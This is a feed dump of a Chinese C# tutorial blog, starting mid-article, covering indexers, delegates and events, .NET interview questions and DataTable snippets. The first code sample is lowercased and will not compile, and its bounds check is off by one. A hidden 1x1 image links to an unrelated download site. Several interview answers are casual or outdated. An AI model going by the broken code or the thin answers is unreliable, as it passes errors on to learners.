system;<br>using system.collections;<br>public class sitelist<br>{<br>&nbsp;&nbsp;protected sortedlist sites;<br><br>&nbsp;&nbsp;public sitelist()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;sites = new sortedlist();<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public int nextindex<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;get {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return sites.count;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;public virtual string this[int index]<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;get<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return (string) sites.getbyindex(index);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;set<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sites[index] = value;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br><br>public class financialsitelist : sitelist<br>{<br>&nbsp;&nbsp;public override string this[int index]<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;get<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("financialsitelist indexer get");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (index &gt; sites.count)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return (string)null;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return base[index];<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;set<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("financialsitelist indexer set");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base[index] = value;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>}<br><br>class sitemanager<br>{<br>&nbsp;&nbsp;sitelist sites = new sitelist();<br><br>&nbsp;&nbsp;public static void main()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;sitemanager mgr = new sitemanager();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;mgr.sites = new financialsitelist();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;mgr.sites[mgr.sites.nextindex] = "great site!";<br><br>&nbsp;&nbsp;&nbsp;&nbsp;console.writeline("site: {0}",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mgr.sites[0].tostring());<br>&nbsp;&nbsp;}<br>}<br>例子中,基类的索引器是"virtual",派生类重载了索引器. <img height=1 src="http://www.z6688.com/down_info.asp?id=24636" width=1 border=0><br>
<img src ="http://www.blogjava.net/zengke/aggbug/108306.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2007-04-04 01:02 <a href="http://www.blogjava.net/zengke/articles/108306.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>索引指示器</title><link>http://www.blogjava.net/zengke/articles/107154.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Thu, 29 Mar 2007 03:08:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/107154.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/107154.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/107154.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/107154.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/107154.html</trackback:ping><description><![CDATA[
		<font size="2">
				<strong>本节课将介绍C#的索引指示器，其目的包括：</strong>
				<br />1.了解什么是索引指示器 <br /><br />2.如何实现索引指示器 <br /><br />3.重载索引指示器 <br /><br />4.了解如何实现多参数的索引指示器 <br /><br />索引指示器并不难使用。它们的用法跟数组相同。在一个类内部，你可以按照你的意愿来管理一组数据的集合。这些对象可以是类成员的有限集合，也可以是另外一个数组，或者是一些复杂的数据结构。不考虑类的内部实现，其数据可以通过使用索引指示器来获得。如下是一个例子： <br /><br /></font>
		<table style="FONT-SIZE: 10pt" width="100%" bgcolor="#f7f3f7">
				<tbody>
						<tr>
								<td>
										<font color="#000084">1.清单 11-1. 索引指示器的例子：IntIndexer.cs</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" width="580" bordercolorlight="#000000" border="1">
				<tbody>
						<tr>
								<td class="code" bgcolor="#e6e6e6">
										<font size="2">using System;<br />/// <summary><br />/// A simple indexer example.<br />/// </summary><br />class IntIndexer<br />{<br />private string[] myData;<br /><br />public IntIndexer(int size)<br />{<br />myData = new string[size];<br />for (int i=0; i &lt; size; i++)<br />{<br />myData[i] = "empty";<br />}<br />}<br />public string this[int pos]<br />{<br />get<br />{<br />return myData[pos];<br />}<br />set<br />{<br />myData[pos] = value;<br />}<br />}<br /><br />static void Main(string[] args)<br />{<br />int size = 10;<br />IntIndexer myInd = new IntIndexer(size);<br />myInd[9] = "Some Value";<br />myInd[3] = "Another Value";<br />myInd[5] = "Any Value";<br />Console.WriteLine("\nIndexer Output\n");<br />for (int i=0; i &lt; size; i++)<br />{<br />Console.WriteLine("myInd[{0}]: {1}", i, myInd[i]);<br />}<br />}<br />}</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<table width="100%" bgcolor="#f7f3f7">
				<tbody>
						<tr>
								<td>
										<i>
												<font size="2">说明</font>
										</i>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<font size="2">1.清单 11-1演示了如何实现一个索引指示器， IntIndexer类有个名为myData的字符串数组，该数组是私有成员，因而其外部成员是看不见的。该数组是在构造函数中进行初始化的，该构造函数带有一个整型size参数，用来初始化myData数组，初始化时 把单词"empty"作为每个数组元素的值。 <br /><br />2.IntIndexer类的下一成员是索引指示器（Indexer），由关键字this和方括号[int pos]标识出来。该成员带有一个位置参数pos。正如你已经猜测到，Indexer的实现同属性一样。Indexer有get 和set访问操作，就同属性中的用法一样。索引指示器（indexer）返回一个字符串，在定义索引指示器时，string这个类型名标志着其返回类型为字符串类型。 <br /><br />3.Main()方法完成如下事情：初始化一个新的IntIndexer对象，添加一些值，并且打印出结果。其输出结果如下： <br /><br /></font>
		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" bordercolorlight="#000000" border="1">
				<tbody>
						<tr>
								<td class="code">
										<font size="2">Indexer Output<br /><br />myInd[0]: empty<br />myInd[1]: empty<br />myInd[2]: empty<br />myInd[3]: Another Value<br />myInd[4]: empty<br />myInd[5]: Any Value<br />myInd[6]: empty<br />myInd[7]: empty<br />myInd[8]: empty<br />myInd[9]: Some Value</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<font size="2">4.在不少程序语言中，通常都是使用整数作为下标来访问作为数组元素的，但C#的索引指示器不仅能够做到这一点，而且还能够更进一步。 定义索引指示器时，可以带有多个参数，每个参数的类型可以不同。添加的参数由逗号隔开，同方法中的的参数表一样。索引指示器的合法的参数类型包括：整型，枚举类型和字符串。另外，索引指示器也可以被重载。在清单 11-2中，我们修改了前面的程序，以便用来重载索引指示器 ，从而可以接受不同类型的参数。 <br /><br /></font>
		<table style="FONT-SIZE: 10pt" width="100%" bgcolor="#f7f3f7">
				<tbody>
						<tr>
								<td>
										<font color="#000084">2.清单 11-2. 重载的索引指示器: OvrIndexer.cs</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" width="580" bordercolorlight="#000000" border="1">
				<tbody>
						<tr>
								<td class="code" bgcolor="#e6e6e6">
										<font size="2">using System;<br />/// <summary><br />/// Implements overloaded indexers.<br />/// </summary><br />class OvrIndexer<br />{<br />private string[] myData;<br />private int arrSize;<br />public OvrIndexer(int size)<br />{<br />arrSize = size;<br />myData = new string[size];<br />for (int i=0; i &lt; size; i++)<br />{<br />myData[i] = "empty";<br />}<br />}<br /><br />public string this[int pos]<br />{<br />get<br />{<br />return myData[pos];<br />}<br />set<br />{<br />myData[pos] = value;<br />}<br />}<br /><br />public string this[string data]<br />{<br />get<br />{<br />int count = 0;<br />for (int i=0; i &lt; arrSize; i++)<br />{<br />if (myData[i] == data)<br />{<br />count++;<br />}<br />}<br />return count.ToString();<br />}<br />set<br />{<br />for (int i=0; i &lt; arrSize; i++)<br />{<br />if (myData[i] == data)<br />{<br />myData[i] = value;<br />}<br />}<br />}<br />}<br /><br />static void Main(string[] args)<br />{<br />int size = 10;<br />OvrIndexer myInd = new OvrIndexer(size);<br />myInd[9] = "Some Value";<br />myInd[3] = "Another Value";<br />myInd[5] = "Any Value";<br />myInd["empty"] = "no value";<br />Console.WriteLine("\nIndexer Output\n");<br />for (int i=0; i &lt; size; i++)<br />{<br />Console.WriteLine("myInd[{0}]: {1}", i, myInd[i]);<br />}<br />Console.WriteLine("\nNumber of \"no value\" entries: {0}", myInd["no value"]);<br />}<br />}</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<table width="100%" bgcolor="#f7f3f7">
				<tbody>
						<tr>
								<td>
										<i>
												<font size="2">说明</font>
										</i>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<font size="2">1.清单 11-2 演示了如何重载索引指示器。 <br /><br />带有整型参数pos的第一个索引指示器同清单11-1中的一样，但是，该程序中有个带有字符串参数的新的索引指示器。对于这个新的索引指示器来说，其get操作返回的是同参数值data相匹配的成员的个数。 Set操作把数组中同参数值匹配的元素值该变为value值。 <br /><br />2.在清单11-2的Main()方法中，演示了重载的索引指示器，它接受字符串参数。 <br /><br />该重载的索引指示器调用了set操作，通过使用下列命令： myInd["empty"] = "no value"; set操作把"no value"值赋给myInd 类中所有的值为"empty"的成员。 myInd类的每个成员都已经输出之后，就把最后一个数据输出到控制台，该数据统计数组成员值为"no value"的个数。 使用如下命令：myInd["no value"]，就可调用get操作。输出结果如下： <br /><br /></font>
		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" bordercolorlight="#000000" border="1">
				<tbody>
						<tr>
								<td class="code">
										<font size="2">Indexer Output<br />myInd[0]: no value<br />myInd[1]: no value<br />myInd[2]: no value<br />myInd[3]: Another Value<br />myInd[4]: no value<br />myInd[5]: Any Value<br />myInd[6]: no value<br />myInd[7]: no value<br />myInd[8]: no value<br />myInd[9]: Some Value<br /><br />Number of "no value" entries: 7</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<font size="2">3.在清单 11-2中，两个索引指示器共处在同一个类中， 这是可以的，因为它们有不同的特征。 <br /><br />一个索引指示器的特征是通过索引指示器参数表中的参数个数和类型表现出来的。类能够辨别出其特征，并调用相应的索引指示器。带有多个参数的索引指示器可以用如下格式来实现： <br /><br /></font>
		<table cellspacing="0" bordercolordark="#ffffff" cellpadding="1" width="580" bordercolorlight="#000000" border="1">
				<tbody>
						<tr>
								<td class="code" bgcolor="#e6e6e6">
										<font size="2">public object this[int param1, ..., int paramN]<br />{<br />get<br />{<br />// process and return some class data<br />}<br />set<br />{<br />// process and assign some class data<br />}<br />}</font>
								</td>
						</tr>
				</tbody>
		</table>
		<br />
		<font size="2">
				<b>小结</b>
				<br />现在你已经了解了索引指示器是用来做什么的，以及其用法。如同数组的用法一样，你可以创建索引指示器来访问类的成员。本文也提到了索引指示器的重载和多参数索引指示器。</font>
<img src ="http://www.blogjava.net/zengke/aggbug/107154.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2007-03-29 11:08 <a href="http://www.blogjava.net/zengke/articles/107154.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对C#委托及事件委托的理解 </title><link>http://www.blogjava.net/zengke/articles/107152.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Thu, 29 Mar 2007 03:05:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/107152.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/107152.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/107152.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/107152.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/107152.html</trackback:ping><description><![CDATA[
		<font size="2">托的声明</font>
		<p>
				<font size="2">public delegate void MyDelegate(string str);<br />注<br />1.委托的定义和方法的定义类似，只是在前面加了一个delegate,但委托不是方法，它是一种类型。是一种特殊的类型,看成是一种新的对象类型比较好理解。用于对与该委托有相</font>
		</p>
		<p>
				<font size="2">同签名的方法调用。<br />2.委托相当于C++中的函数指针，但它是类型安全的。<br />3.委托是从System.Delegate派生，但不能象定义常规类型一样直接从System.Delegate派生，对委托的声明只能通过上面的声明格式进行定义。关键字delegate通知编译器这是一</font>
		</p>
		<p>
				<font size="2">个委托类型，从而在编译的时候对该类进行封装,对这一过程C#定义了专门的语法来处理这一过程。<br />4.不能从一个委托类型进行派生，因为它也是默认sealed的<br />5.委托即可以对静态方法进行调用也可以对实例方法进行调用。<br />6.每个委托类型包含一个自己的调用列表，当组合一个委托或从一个委托中删除一个委托时都将产生个新的调用列表。<br />7.两个不同类型的委托即使它们有相同的签名和返回值，但还是两个不同类型的委托。但其实在使用中可看作是相同的。</font>
		</p>
		<p>
				<br />
				<font size="2">委托的比较</font>
		</p>
		<p>
				<font size="2">C#中对委托定义了两个操作符 == 和 !=<br />在以下情况下两个委托是相等的：<br />1.当两个委托都同时为null的时候<br />2.当两个委托都不为null时,下列情况下是相等的。<br />a.当两个委托的各自的调用列表只含有一个入口点的时候<br />   在下列情况下是相等的<br />   (1) 调用同一对象的同一静态方法<br />   (2) 调用同一对象的同一实例方法<br />b.当两个委托具有多个入口点时<br />   在下列情况下是相等的<br />   (1)只有当它们调用列表中的调用的方法按顺序都一一对应相同的对象及对象的同一方法的时候</font>
		</p>
		<p>
				<font size="2">如上所述的两个不同类型的委托但是它们具有相同的签名和返回值时，只要满足上述条件的，即使它们类型不同，但比较的结果也是相同的。</font>
		</p>
		<p>
				<font size="2">委托的异常处理</font>
		</p>
		<p>
				<font size="2">当调用该委托的方法中发生了异常时，首先在调用该委托的方法中搜寻catch语句块。如果没有，则去该委托调用的方法中去寻找有没有catch语句块，这和调用方法发生异常的处</font>
		</p>
		<p>
				<font size="2">理是一样的。</font>
		</p>
		<p>
				<font size="2">当调用一个为null的委托即委托中列表中不存在调用方法时，将发生NullRefrenceException</font>
		</p>
		<p>
				<font size="2">委托的注意点:<br />当一个委托有多个入口点的时候,调用委托将依该委托的调用列表中的方法的顺序依次调用.这些方法共享一个参数集合,所以当委托有返回值的时候调用完这个委托后的返回值是最</font>
		</p>
		<p>
				<font size="2">后一个方法的返回值或是有out参数.如果该委托的参数为ref(引用类型),那么在招待第一个方法的时候如果对这个参数的值有所改变,那么这个改变将会影响到后面的方法调用.</font>
		</p>
		<p>
				<font size="2">委托的一个例子</font>
		</p>
		<p>
				<font size="2">using System;<br />using System.Collections.Generic;<br />using System.Text;</font>
		</p>
		<p>
				<font size="2">namespace ConsoleApplication1<br />{<br />    class Program<br />    {<br />        static void Main(string[] args)<br />        {<br />            // 创建一个委托实例，封装C类的静态方法M1<br />            MyDelegate d1 = new MyDelegate(C.M1);<br />            d1("D1"); // M1</font>
		</p>
		<p>
				<font size="2">            // 创建一个委托实例，封装C类的静态方法M2<br />            MyDelegate d2 = new MyDelegate(C.M2);<br />            d2("D2"); // M2</font>
		</p>
		<p>
				<font size="2">            // 创建一个委托实例，封装C类的实例方法M3<br />            MyDelegate d3 = new MyDelegate(new C().M3);<br />            d3("D3"); // M3</font>
		</p>
		<p>
				<font size="2">            // 从一个委托d3创建一个委托实例<br />            MyDelegate d4 = new MyDelegate(d3);<br />            d4("D4"); // M3</font>
		</p>
		<p>
				<font size="2">            // 组合两个委托<br />            MyDelegate d5 = d1 + d2;<br />            d5 += d3;<br />            d5("D5"); // M1,M2,M3</font>
		</p>
		<p>
				<font size="2">            // 从组合委托中删除d3<br />            MyDelegate d6 = d5 - d3;<br />            d6("D6"); // M1,M2<br />            d6 -= d3; // 虽然d6调用列表中已经没有d3了，但这样只是不可能的移除没有错误发生<br />            d6("D6"); // M1,M2<br />            d6 -= d6;<br />            //d6("D6"); 此时d6的调用列表为空，d6为null,所以引发System.NullReferenceException</font>
		</p>
		<p>
				<font size="2">            MyDelegate d7 = new MyDelegate(C1.P1);<br />            d7("D7"); // C1.P1</font>
		</p>
		<p>
				<font size="2">            MyDelegate d8 = new MyDelegate(new C2().P1);<br />            d8("D8"); // C2.P1</font>
		</p>
		<p>
				<font size="2">        }<br />    }</font>
		</p>
		<p>
				<font size="2">    // 声明一个委托MyDelegate<br />    public delegate void MyDelegate(string str);</font>
		</p>
		<p>
				<font size="2">    public class C<br />    {<br />        public static void M1(string str)<br />        {<br />            Console.WriteLine("From:C.M1:   {0}", str);<br />        }</font>
		</p>
		<p>
				<font size="2">        public static void M2(string str)<br />        {<br />            Console.WriteLine("From:C.M2:   {0}", str);<br />        }</font>
		</p>
		<p>
				<font size="2">        public void M3(string str)<br />        {<br />            Console.WriteLine("From:C.M3:   {0}", str);<br />        }<br />    }</font>
		</p>
		<p>
				<font size="2">    public class C1<br />    {<br />        public static void P1(string str)<br />        {<br />            Console.WriteLine("From:C1.P1:   {0}", str);<br />        }<br />    }</font>
		</p>
		<p>
				<font size="2">    public class C2<br />    {<br />        public void P1(string str)<br />        {<br />            Console.WriteLine("From:C2.P1:   {0}", str);<br />        }<br />    }    <br />}</font>
		</p>
		<p>
				<font size="2">事件委托</font>
		</p>
		<p>
				<font size="2">事件概述</font>
		</p>
		<p>
				<font size="2">事件就是当对象或类状态发生改变时，对象或类发出的信息或通知。发出信息的对象或类称为"事件源",对事件进行处理的方法称为"接收者",通常事件源在发出状态改变信息时,它</font>
		</p>
		<p>
				<font size="2">并不知道由哪个事件接收者来处理.这就需要一种管理机制来协调事件源和接收者,C++中通过函数指针来完成的.在C#中事件使用委托来为触发时将调用的方法提供类型安全的封装</font>
		</p>
		<p>
				<br />
				<font size="2">事件的声明</font>
		</p>
		<p>
				<font size="2">1.声明一个委托<br />public delegate void EventHandler(object sender, System.EventArgs e);</font>
		</p>
		<p>
				<font size="2">2.声明一个事件<br />public event EventHandler Changed;</font>
		</p>
		<p>
				<font size="2">3.引发一个事件<br />public OnChanged(EnventArgs e)<br />{<br /> if ( Changed != null)<br /> {<br />  Changed(this,e);<br /> }<br />}</font>
		</p>
		<p>
				<font size="2">4.定义事件处理程序<br />public MyText_OnChanged(Object sender,EventArgs e)<br />{<br /> ...<br />}</font>
		</p>
		<p>
				<font size="2">5.订阅事件(将事件处理程序添加到事件的调用列表中)</font>
		</p>
		<p>
				<font size="2">myText.Changed += EventHandler(MyText_OnChanged);</font>
		</p>
		<p>
				<font size="2">下面的一个小例子说明了怎样定义一个完整的事件机制:</font>
		</p>
		<p>
				<font size="2">using System;<br />using System.Collections.Generic;<br />using System.Text;</font>
		</p>
		<p>
				<font size="2">namespace ConsoleApplication1<br />{<br />    class Program<br />    {        <br />        static void Main(string[] args)<br />        {              <br />            MyText myText = new MyText();</font>
		</p>
		<p>
				<font size="2">            // 将事件处理程序添加到事件的调用列表中(即事件布线)<br />            myText.Changed += new MyText.ChangedEventHandler(myText_Changed);         <br />            <br />            string str = "";<br />            while (str != "quit")<br />            {<br />                Console.WriteLine("please enter a string:");<br />                str = Console.ReadLine();<br />                myText.Text = str;<br />            }<br />        }</font>
		</p>
		<p>
				<font size="2">        // 对Change事件处理的程序<br />        private static void myText_Changed(object sender, EventArgs e)<br />        {<br />            Console.WriteLine("text has been changed  :{0}\n" ,((MyText)sender).Text);<br />        }        <br />    }  </font>
		</p>
		<p>
				<font size="2">    public class MyText<br />    {<br />        private string _text = "";</font>
		</p>
		<p>
				<font size="2">        // 定义事件的委托<br />        public delegate void ChangedEventHandler(object sender, EventArgs e);</font>
		</p>
		<p>
				<font size="2">        // 定义一个事件<br />        public event ChangedEventHandler Changed;</font>
		</p>
		<p>
				<font size="2">        // 用以触发Change事件<br />        protected virtual void OnChanged(EventArgs e)<br />        {<br />            if (this.Changed != null)<br />                this.Changed(this, e);<br />        }</font>
		</p>
		<p>
				<font size="2">        // Text属性<br />        public string Text<br />        {<br />            get { return this._text; }<br />            set<br />            {<br />                this._text = value;<br />                // 文本改变时触发Change事件<br />                this.OnChanged(new EventArgs());<br />            }<br />        }<br />    }<br />}   </font>
		</p>
<img src ="http://www.blogjava.net/zengke/aggbug/107152.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2007-03-29 11:05 <a href="http://www.blogjava.net/zengke/articles/107152.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C#.Net的常见面试试题</title><link>http://www.blogjava.net/zengke/articles/87761.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Thu, 14 Dec 2006 09:45:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/87761.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/87761.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/87761.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/87761.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/87761.html</trackback:ping><description><![CDATA[
		<p>
				<font size="2">              找工作的朋友可能会用的到。 <br />              我本身不是太懂倒耐特，上星期有朋友来我这找工作他整理的，<br />              所以我只负责发贴，对疑问的解答还要交给你们了。</font>
		</p>
		<p>
				<font size="2">              1.面向对象的思想主要包括什么？<br />              2.什么是ASP.net中的用户控件<br />              3.什么叫应用程序域？什么是受管制的代码？什么是强类型系统？什么是装箱和拆箱？什么是重载？CTS、CLS和CLR分别作何解释？<br />              4.列举一下你所了解的XML技术及其应用<br />              5.值类型和引用类型的区别？写出C#的样例代码。<br />              6.ADO.net中常用的对象有哪些？分别描述一下。<br />              7.如何理解委托？<br />              8.C#中的接口和类有什么异同。<br />              9.。net中读写数据库需要用到哪些类？他们的作用<br />              10.UDP连接和TCP连接的异同。<br />              11.ASP.net的身份验证方式有哪些？分别是什么原理？<br />              12.进程和线程分别怎么理解？<br />              13.什么是code-Behind技术。<br />              14.活动目录的作用。<br />              15..net中读写XML的类都归属于哪些命名空间？<br />              16.解释一下UDDI、WSDL的意义及其作用。<br />              17.什么是SOAP,有哪些应用。<br />              18.如何部署一个ASP.net页面。<br />              19.如何理解.net中的垃圾回收机制。<br />              20.常用的调用webservice方法有哪些？<br />              1 继承 多态 封装 <br />              2 用户控件. 不会说懂得做<br />              3 装箱和拆箱发生 值类型向引用类型转换,和引用类型向值类型转  重载:同一个函数参数不同<br />              4.xml可以用来做网页(xslt) xml可以当作数据库 xml可以用来保存对象的系列化<br />              5值类型,没有什么好说的.引用类型用处是返回两个以上参数的时候比较好用 ref out 我常用的是out不要先赋值<br />              6  ado.net 我直接用 sqlhelper了 有connection command 还有参数<br />              7 回调机制比较有用的.在net中采用了委托.<br />              8 接口,是可以多继承,类只有单继承.接口强调了你必须实现,而没有具本实现的方法和虚类有点相似<br />              9 datareader dataset 还有一个不太常用<br />              10 udp不要实现什么三次握手.<br />              11 asp.net身份验证最常用还是以前的session方法. form验证没有用过. 微软的哪个也没有用过<br />              12 进程简单理解为单个程序吧(按ctrl+alt+del)可以看到的.它至少有一个主线程 .<br />              13 代码后置..不懂得讲<br />              14 活动目录.. 完全不会<br />              15 system.xml (system.io创建目录的时候用)<br />              16 这个也是web服务里的东西.<br />              17 soap简单协议.我只知道.web服务是基于它之上的<br />              18 部置一个页面. 也就是说没有代码是直接写在aspx中的了.只接放在IIS的虚拟目录下就行了.当然要asp.net支持<br />              19 垃圾回收..一般的只要掌握.非托管对象要记得释放资源就行了吧.<br />              20 直接在vs.net里面引用就OK了.它会自己生成一个代理类</font>
		</p>
		<p>
				<font size="2">              1.      填空: (1)面向对象的语言具有___继承性、_封装___性、___多态性。<br />                      (2)能用foreach遍历访问的对象需要实现 IEnumerable接口或声明GetEnumerable <br />              方法的类型。<br />                      <br />              (3)列举ADO.net中的五个主要对象Command、Connection、DataSet、DataSetCommand、DataReader。<br />              2. 不定项选择：<br />              (1) 以下叙述正确的是： <br />                    A. 接口中可以有虚方法。     B. 一个类可以实现多个接口。 <br />                    C. 接口不能被实例化。       D. 接口中可以包含已实现的方法。 <br />                 (2) 从数据库读取记录，你可能用到的方法有：<br />                    A. ExecuteNonQuery            B. ExecuteScalar<br />                    C. Fill                        D. ExecuteReader<br />              3. 简述 private、 protected、 public、 internal 修饰符的访问权限。</font>
		</p>
		<p>
				<font size="2">              4. 写出一条Sql语句： 取出表A中第31到第40记录（SQLServer, 以自动增长的ID作为主键,  <br />              注意：ID可能不是连续的。） </font>
		</p>
		<p>
				<font size="2">              5 .列举ASP.NET 页面之间传递值的几种方式。 </font>
		</p>
		<p>
				<font size="2">              6. 写出程序的输出结果 <br />              class Class1  { <br />                     private string str = "Class1.str"; <br />                     private int i = 0; <br />                     static void StringConvert(string str)  { <br />                         str = "string being converted."; <br />                     } <br />                     static void StringConvert(Class1 c)  { <br />                         c.str = "string being converted."; <br />                     } <br />                     static void Add(int i)  { <br />                         i++; <br />                     } <br />                     static void AddWithRef(ref int i)  { <br />                         i++; <br />                     } <br />                     static void Main()  { <br />                         int i1 = 10; <br />                         int i2 = 20; <br />                         string str = "str"; <br />                         Class1 c = new Class1(); <br />                         Add(i1); <br />                         AddWithRef(ref i2); <br />                         Add(c.i); <br />                         StringConvert(str);         <br />                         StringConvert(c); <br />                         Console.WriteLine(i1); <br />                         Console.WriteLine(i2); <br />                         Console.WriteLine(c.i); <br />                         Console.WriteLine(str); <br />                         Console.WriteLine(c.str); <br />                     }  <br />                  } <br /></font>
		</p>
<img src ="http://www.blogjava.net/zengke/aggbug/87761.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-12-14 17:45 <a href="http://www.blogjava.net/zengke/articles/87761.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DataTable类的使用</title><link>http://www.blogjava.net/zengke/articles/87437.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Wed, 13 Dec 2006 04:01:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/87437.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/87437.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/87437.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/87437.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/87437.html</trackback:ping><description><![CDATA[
		<font size="2">    DataTable dt = new DataTable();  //声明<br /><br />     //添加字段<br />    dt.Columns.Add("title",typeof(string));<br />    dt.Columns.Add("url",typeof(string));<br /><br />      //添加ROW<br />      DataRow newRow = dt.NewRow();<br />      newRow["title"] = (string)item["网站名"];<br />      newRow["url"] = (string)item["URL"];<br />      dt.Rows.Add(newRow);</font> <br /><br /><br /><font size="2">    private bool IsExist(int id1, int id2)<br />    {       <br />        rows = dtYxzt.Select("id1=" + id1 + " and id2=" + id2);<br />        if (rows.Length &gt; 0)<br />            return true ;<br />        else<br />            return false;<br />    }</font><br /><img src ="http://www.blogjava.net/zengke/aggbug/87437.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zengke/" target="_blank">曾科</a> 2006-12-13 12:01 <a href="http://www.blogjava.net/zengke/articles/87437.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在C#后代码里使用IE WEB Control TreeView</title><link>http://www.blogjava.net/zengke/articles/87095.html</link><dc:creator>曾科</dc:creator><author>曾科</author><pubDate>Mon, 11 Dec 2006 16:06:00 GMT</pubDate><guid>http://www.blogjava.net/zengke/articles/87095.html</guid><wfw:comment>http://www.blogjava.net/zengke/comments/87095.html</wfw:comment><comments>http://www.blogjava.net/zengke/articles/87095.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zengke/comments/commentRss/87095.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zengke/services/trackbacks/87095.html</trackback:ping><description><![CDATA[
